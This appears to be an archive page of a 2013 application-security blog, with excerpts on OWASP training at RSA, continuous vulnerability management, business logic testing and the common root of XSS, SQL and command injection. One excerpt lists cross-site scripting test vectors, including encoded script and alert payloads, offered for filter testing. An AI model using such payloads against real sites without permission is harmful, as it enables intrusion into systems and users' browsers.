Posts

Showing posts from 2013
RSA Europe 2013: Our RSA Europe class was delivered yesterday in Amsterdam. 4 hours of defensive coding techniques. It was good fun with about 100 fellow builders/breakers It was a great day with myself (Eoin Keary) Jim Manico and Ashar Javed (The king of XSS). Our slides are here: https://www.owasp.org/images/1/18/MASTER-RSA2013.pdf Ashar's slides are here: http://slid.es/mscasharjaved/cross-site-scripting-my-love

Vulnerability Management 101 - edgescan

Image
Vulnerability Management: The age old penetration test is dead, long live the penetration test...So as discussed before a 1-off penetration test does not work, why? Code changes - possible introduction of vulnerabilities Framework vulnerabilities are discovered all the time  (see here ) Server/Hosting changes may give rise to a vulnerability Patching - vulnerarability Logical/Business logic vulnerability - from new features etc etc So, our 1-off penetration test is only a point-in-time assessment and has its place for deep-dive penetration tests but more often than not the value of a 1-off penetration test is erroded the day the report is finished... like driving a car out of a dealership, it looses half its value in an instant . We decided to do something different.. How about a solution that provides... Monthly or more frequent vulnerability assessments Covers Layer 1-7 (host, protocol, server, IP, patch, webapp, framework etc etc). Is manually verified by hu
XSS Vectors: Some from OWASP some from other places...   %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%2F%74%75%72%74%6C%65%73%2F%29%3B%3C%2F%73%63%72%69%70%74%3E  >"><script>alert("XSS")</script>& <body background="javascript: alert()"> "><STYLE>@import"javascript:alert('XSS')";</STYLE> >"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;  alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)> <script>alert(1)</script> ‘</title><script>alert(1)<script>‘</title> <– lorem ipsem–><script>alert(1)<script>–> <FOO><![CDATA[]]><script>alert(1)</script>]]> <input type=text name=foo value=a><script>alert(1)<script>> <input type=text name=foo value=a/><script>alert(1)<script
Cyber Security and Ireland Ireland is not an Island....As many of you know I am passionate about how we as a country secure the systems, networks and the critical elements of our national infrastructure that we all depend on. I was recently interviewed by the Irish Examiner for an article Cyber Crime: The New Battleground , they ran on the threat posed to Ireland by criminals and others with malicious intent. To be honest criminals go where the money is. I don't think GDP of an individual country matters given we throw funding at security but nothing seems to improve too much. Nation state attackers may be more conscious of geographic location for obvious reasons but overall its all just copper wire and IP numbers and 1's and 0's

Breaking Bad - Business Logic Abuse.

There was a recent discussion on the OWASP Testing guide list, a project I used to lead, in relation to "How to test for business logic issues" This is a real tough one to document in terms of "How to..." In saying that some of the biggest simulated financial fraud attacks I have ever committed for clients were based around business logic and authorization logic attacks. So how do we do it? This how is see the world, you may or may not agree. I look at an apps functionality as a Finite State Machine Certain inputs make the machine transition to a different state. Some states can only be reached from certain other states. Certain states are idempotent and others are transactional and have a permanent impact. We have a number of use cases to test this machine. 1. Positive use case - App does what it is meant to (positive sense) 2. Negative use case - App does what it is meant to (negative sense) 3. Abuse Case - User or data is trying to force app to d
RSA 2013 San Fransisco. Below is the link to our OWASP Training at RSA on the 24th Feb 2013 Myself (@eoinkeary) and Jim Manico (@manicode) delivered a 4 hour session to 400 developers, pen testers etc. It was fun. OWASP Slides RSA2013

XSS = SQLI = CMDi=?

Image
Why do we look at Cross Site Scripting, Command Injection and SQL injection in different ways? Why am I even writing about such old issues like SQLI, XSS, CMDi? Probably because they are very similar from a builder/prevention aspect but very different from a breaker/defender aspect. The Result is different: Cross Site Scripting (XSS):  is a payload delivery mechanism. The vulnerability is used to deliver the payload (warhead) in this case client side script which does something. The attack used against a user so the attacker can do other stuff: Malware upload, Social Engineering, Identity Theft etc. Command Injection (CMDi): A direct attack on a system. Invoking system commands directly. Command injection is a payload attack as opposed to a delivery mechanism. SQL Injection (SQLI): A direct attack on a system also. Direct access to data or system configuration. The SQL injection attack is also a payload attack. The Root cause is the same:  It all comes down to the same thin